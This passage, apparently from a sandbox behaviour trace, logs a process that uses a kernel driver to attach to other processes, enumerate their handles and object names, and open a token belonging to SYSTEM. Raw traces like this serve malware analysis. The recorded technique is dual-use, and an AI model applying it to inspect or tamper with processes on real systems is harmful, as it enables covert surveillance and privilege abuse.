Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.931] ObfDereferenceObject (Object=0xfffffa80020838a0) returned 0x12 [0121.931] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.931] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.931] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.931] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0121.931] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.931] PsAcquireProcessExitSynchronization () returned 0x0 [0121.931] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.931] ObReferenceObjectByHandle (in: Handle=0x780, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020899b0, HandleInformation=0x0) returned 0x0 [0121.931] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.931] PsReleaseProcessExitSynchronization () returned 0x2 [0121.931] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.931] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.931] ObfDereferenceObject (Object=0xfffffa80020899b0) returned 0x12 [0121.931] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.931] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.931] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.931] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0121.931] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.931] PsAcquireProcessExitSynchronization () returned 0x0 [0121.931] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.931] ObReferenceObjectByHandle (in: Handle=0x874, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037eecc0, HandleInformation=0x0) returned 0x0 [0121.931] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.932] PsReleaseProcessExitSynchronization () returned 0x2 [0121.932] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.932] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.932] ObfDereferenceObject (Object=0xfffffa80037eecc0) returned 0x5 [0121.932] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.932] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.932] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x338) returned 0xc0 [0121.932] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0121.932] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800312bb30, HandleInformation=0x0) returned 0x0 [0121.932] ObOpenObjectByPointer (in: Object=0xfffffa800312bb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000924) returned 0x0 [0121.932] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcf [0121.932] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000924, DesiredAccess=0x8, TokenHandle=0xfffffa8003522240 | out: TokenHandle=0xfffffa8003522240*=0xc8) returned 0x0 [0121.932] ZwClose (Handle=0xffffffff80000924) returned 0x0 [0121.932] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.932] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0121.932] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0121.934] CloseHandle (hObject=0xc8) returned 1 [0121.934] CloseHandle (hObject=0xc0) returned 1 [0121.934] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.934] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.934] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.934] PsAcquireProcessExitSynchronization () returned 0x0 [0121.934] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.934] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031589b0, HandleInformation=0x0) returned 0x0 [0121.934] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.934] PsReleaseProcessExitSynchronization () returned 0x2 [0121.934] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.934] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.934] ObfDereferenceObject (Object=0xfffffa80031589b0) returned 0x1 [0121.934] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.934] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.934] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.934] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.934] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.934] PsAcquireProcessExitSynchronization () returned 0x0 [0121.934] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.934] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031657d0, HandleInformation=0x0) returned 0x0 [0121.934] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.934] PsReleaseProcessExitSynchronization () returned 0x2 [0121.934] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.935] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0121.935] ObfDereferenceObject (Object=0xfffffa80031657d0) returned 0x1 [0121.935] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.935] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.935] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.935] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.935] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.935] PsAcquireProcessExitSynchronization () returned 0x0 [0121.935] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.935] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.935] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.935] PsReleaseProcessExitSynchronization () returned 0x2 [0121.935] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.935] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0121.935] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.935] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.935] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.935] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.935] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.935] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.935] PsAcquireProcessExitSynchronization () returned 0x0 [0121.935] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.935] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.935] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.935] PsReleaseProcessExitSynchronization () returned 0x2 [0121.935] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.935] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.935] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.935] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.935] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.935] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.935] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0121.935] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.935] PsAcquireProcessExitSynchronization () returned 0x0 [0121.935] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.936] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003181ea0, HandleInformation=0x0) returned 0x0 [0121.936] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.936] PsReleaseProcessExitSynchronization () returned 0x2 [0121.936] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.936] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0121.936] ObfDereferenceObject (Object=0xfffffa8003181ea0) returned 0x1 [0121.936] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.936] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.936] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.936] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0121.936] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.936] PsAcquireProcessExitSynchronization () returned 0x0 [0121.936] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.936] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003170460, HandleInformation=0x0) returned 0x0 [0121.936] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.936] PsReleaseProcessExitSynchronization () returned 0x2 [0121.936] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.936] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.936] ObfDereferenceObject (Object=0xfffffa8003170460) returned 0x1 [0121.936] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.936] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.936] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.936] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.936] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.936] PsAcquireProcessExitSynchronization () returned 0x0 [0121.936] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.936] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031a2070, HandleInformation=0x0) returned 0x0 [0121.936] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.936] PsReleaseProcessExitSynchronization () returned 0x2 [0121.936] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.936] ObQueryNameString (in: Object=0xfffffa80031a2070, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.936] ObfDereferenceObject (Object=0xfffffa80031a2070) returned 0x1 [0121.936] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.937] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.937] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.937] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0121.937] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.937] PsAcquireProcessExitSynchronization () returned 0x0 [0121.937] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.937] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031a6600, HandleInformation=0x0) returned 0x0 [0121.937] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.937] PsReleaseProcessExitSynchronization () returned 0x2 [0121.937] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.937] ObQueryNameString (in: Object=0xfffffa80031a6600, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.938] ObfDereferenceObject (Object=0xfffffa80031a6600) returned 0x3 [0121.938] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.938] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.938] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.938] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0121.938] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.938] PsAcquireProcessExitSynchronization () returned 0x0 [0121.938] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.938] ObReferenceObjectByHandle (in: Handle=0x2c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031ab710, HandleInformation=0x0) returned 0x0 [0121.938] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.938] PsReleaseProcessExitSynchronization () returned 0x2 [0121.938] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.938] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.938] ObfDereferenceObject (Object=0xfffffa80031ab710) returned 0x1 [0121.938] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.938] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.938] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.938] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0121.938] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.938] PsAcquireProcessExitSynchronization () returned 0x0 [0121.938] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.938] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031ea850, HandleInformation=0x0) returned 0x0 [0121.938] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.938] PsReleaseProcessExitSynchronization () returned 0x2 [0121.938] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.938] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.938] ObfDereferenceObject (Object=0xfffffa80031ea850) returned 0x1 [0121.938] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.938] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.938] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.938] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.939] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.939] PsAcquireProcessExitSynchronization () returned 0x0 [0121.939] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.939] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003409980, HandleInformation=0x0) returned 0x0 [0121.939] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.939] PsReleaseProcessExitSynchronization () returned 0x2 [0121.939] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.939] ObQueryNameString (in: Object=0xfffffa8003409980, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.939] ObfDereferenceObject (Object=0xfffffa8003409980) returned 0x1 [0121.939] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.939] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.939] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.939] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.939] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.939] PsAcquireProcessExitSynchronization () returned 0x0 [0121.939] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.939] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034096e0, HandleInformation=0x0) returned 0x0 [0121.939] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.939] PsReleaseProcessExitSynchronization () returned 0x2 [0121.939] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.939] ObQueryNameString (in: Object=0xfffffa80034096e0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.939] ObfDereferenceObject (Object=0xfffffa80034096e0) returned 0x2 [0121.939] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.939] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.939] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.939] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 